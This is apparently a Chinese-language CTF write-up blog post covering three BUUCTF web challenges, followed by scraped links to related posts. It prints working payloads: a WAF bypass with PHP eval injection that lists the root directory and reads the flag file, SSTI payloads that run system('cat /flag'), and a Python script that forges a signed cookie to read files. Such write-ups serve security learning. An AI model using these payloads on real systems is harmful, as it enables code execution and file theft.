BUUCTF WEB
BUUCTF 几道WEB题WP
- 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_
[RoarCTF 2019]Easy Calc
知识点:PHP的字符串解析特性
- 参考了一下网上大佬文章
http://gality.cn/2019/10/21/php%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7%E7%A0%94%E7%A9%B6/ - 在php中,查询的字符串(URL或正文中)会被转换为内部
$_GET或$_POST数组. 例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。 - 对于
/news.php?%20news[id%00=42"+AND+1=0--来说,PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。 - PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,php需要完成两件事:
1、删除空白符
2、将某些字符转换为下划线(包括空格) - 我个人理解就是对于限制了只允许传入数值参数,对于非数值型数据产生禁止的waf,我们可以使用加空格来绕过
题目分析:
- 查看源码发现下列信息
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
- 可以看到设置了有一个WAF,在script中又发现一个url字样,有calc.php,尝试访问发现WAF源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
- 发现有一个GET传参参数num,和一堆黑名单,在尝试在num传参时,发现以下情形
calc.php?num=1

calc.php?num=a

- 发现这里对非数值型数据有过滤拦截,这里就尝试php字符串解析的漏洞,使用加空格绕过,因为php解析的时候会自动将空格去除
正常返回:

- 那么我们就可以尝试去读取文件信息,首先遍历一下根目录文件,但是发现黑名单中有过滤,过滤了'/',尝试绕过,对其进行转成ascii码,发现可以执行
calc.php?%20num=a;var_dump(scandir(chr(47)))

- 注:这里可以多语句执行是因为
eval('echo '.$str.';');这里语句eval每次将拼接后的语句闭合后执行了 - 最后拼接flag文件名读取即可
calc.php?%20num=a;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[BJDCTF2020]The mystery of ip
知识点:SSTI
- Shana师傅的题(●'◡'●),尝试之后发现是SSTI

- 直接执行系统函数
{{system('ls /')}}

{{system('cat /flag')}}

[De1CTF 2019]SSRF Me
知识点:SSRF,字符串拼接
- 这题的另外两种wp其实说实话没弄懂,就是按照第二种方法复现了一下○| ̄|_
- 另外这题有三种解法,大家可以参考一下这个:
https://xz.aliyun.com/t/5927#toc-0 - 大致思路分析:进入网站,发现直接给出了后端源码,发现是用
python的Flask框架写的,这里主要是定义了三个路由,也是和这题相关的几个地方 - 其中访问
geneSign时会返回一串md5,看一下源码得知这个md5是由三部分构成,secert_key + param + action,而getSign函数生成md5时,只接收了两个参数action和param其中的action主要就是readscan的操作,而param是我们直接get传的参数,剩下要解决关键action问题(这里就要利用字符串拼接的方式解决)而这个secert_key是由os生成的随机16位字符串 - 对于这里的
md5(secert_key + param + action)在python使用md5处理的话相当于md5(secert_keyflag.txtscan),这样我们就可以尝试直接拼接后让他生成md5,直接构造
/geneSign?param=flag.txtread这样当到python中处理的时候,会自动和scan进行拼接,得到这样的运算md5(secert_keyflag.txtreadscan),这就发现居然解决了action是
readscan的问题了,同时也获得了md5

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param) # 返回md5
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() #生成的md5摘要
- 接下来就只要直接访问
/De1ta?param=flag.txt构造cookie:action=readscan;sign=67a14a623ade3f0c2b5a4d98b51708db即可 - exp如下:
import requests
url = 'http://91a0d8ea-be8a-431a-9caf-33ed47fcce5f.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '67a14a623ade3f0c2b5a4d98b51708db',
'action': 'readscan',
}
res = requests.get(url=url, cookies=cookies)
print(res.text)

BUUCTF WEB的更多相关文章
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- buuctf—web—高明的黑客
打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re imp ...
- buuctf—web—Easy Calc
启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery, ("# ...
- BUUCTF WEB-WP(3)
BUUCTF WEB 几道web做题的记录 [ACTF2020 新生赛]Exec 知识点:exec命令执行 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬 ...
- BUUCTF刷题记录(Web方面)
WarmUp 首先查看源码,发现有source.php,跟进看看,发现了一堆代码 这个原本是phpmyadmin任意文件包含漏洞,这里面只不过是换汤不换药. 有兴趣的可以看一下之前我做的分析,http ...
- [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)
简介 原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40) 考察知识点:escapeshellarg和escap ...
- buuctf刷题之旅—web—EasySQL
打开环境,发现依旧是sql注入 GitHub上有源码(https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql) index.php ...
- buuctf刷题之旅—web—随便注
打开环境 根据提示应该是sql注入 查看数据库名,和数据表 1';show databases;# 1';show tables;# 查看表内字段(1';desc `1919810931114514` ...
随机推荐
- MySQL JDBC Driver 8.0+设置服务器时区
遇到一个问题,线下环境测试数据的查询完全没有问题,但是线上环境却没法查询出数据,并且从mybatis输出的日志来看,查询参数也没有问题,数据库中数据也是存在的,查询参数类型是java.util.Dat ...
- Java——Java是什么一门什么语言
解释型语言 源代码不能直接翻译成机器语言,而是先翻译成中间代码,再由解释器对中间代码进行解释运行: 程序不需要编译,程序在运行时才翻译成机器语言,每执行一次都要翻译一次: 解释性语言代表:Python ...
- 【跟我一起读 linux 源码】总述
经过之前的一个系列学习,自己照着书本 <操作系统真相还原>学着做了一个 demo 级别的操作系统,总算对操作系统的整体和细节有了一个粗浅的了解.但写操作系统不是目的(我目前也没这能力),主 ...
- (二)Redis在Mac下的安装与SpringBoot中的配置
1 下载Redis 官网下载,下载 stable 版本,稳定版本. 2 本地安装 解压:tar zxvf redis-6.0.1.tar.gz 移动到: sudo mv redis-6.0.1 /us ...
- SpringCloudStream学习(一)RabbitMQ基础
应公司大佬要求,学习一下SpringCloudStream,作为技术储备.这几天也看了这方面的资料,现在写一篇笔记,以做总结.文章会从RabbitMQ基础讲起,到SpringCloudStream结束 ...
- 王颖奇 201771010129 《面向对象程序设计(java)》第二周学习总结
<面向对象程序设计(java)>第二周学习总结 王颖奇 201771010129 第一部分:实验目的与要求 ①理论部分目的与要求 (1)基本知识(2)数据类型(3)变量(4)运算符(5)类 ...
- Java for 嵌套循环
嵌套循环 可以是for循环 while循环也可以是do-while循环 这三着进行组合嵌套 循环思路:先执行外层循环,内层循环作为外层循环的循环体,直到内层循环执行完毕,再次计算外层循环,根据条件决 ...
- OpenWrt R2020.3.11 去广告 抗污染 加速 PSW 无缝集成 UnPnP NAS
近期更新:OpenWrt R2020.3.11版本2020.03.16编译. 按大家要求,新发布固件携带了编译时用到的全部软件包 加入了国内域名加速解析脚本 解决了原去广告,DNS优化方案与PSW冲突 ...
- 【Hadoop离线基础总结】Mac版VMware Fusion虚拟机磁盘挂载
步骤概览 1.打开所要挂载磁盘的虚拟机的设置(此时必须关机) 2.打开硬盘设置 3.添加设备 4.选择新硬盘 5.设置如下图 6.将虚拟机开机,输入 df-lh ,查看当前虚拟机磁盘 7.输入 fdi ...
- Excel非常规快捷键
Windows+V,调出剪贴板,是常规快捷键,鼠标右键-W-F,新建文件夹,这是非常规快捷键. 掌握Excel大半菜单和三五十快捷键,Excel也算入门了.对Excel快捷键的学习,其一是常规快捷键, ...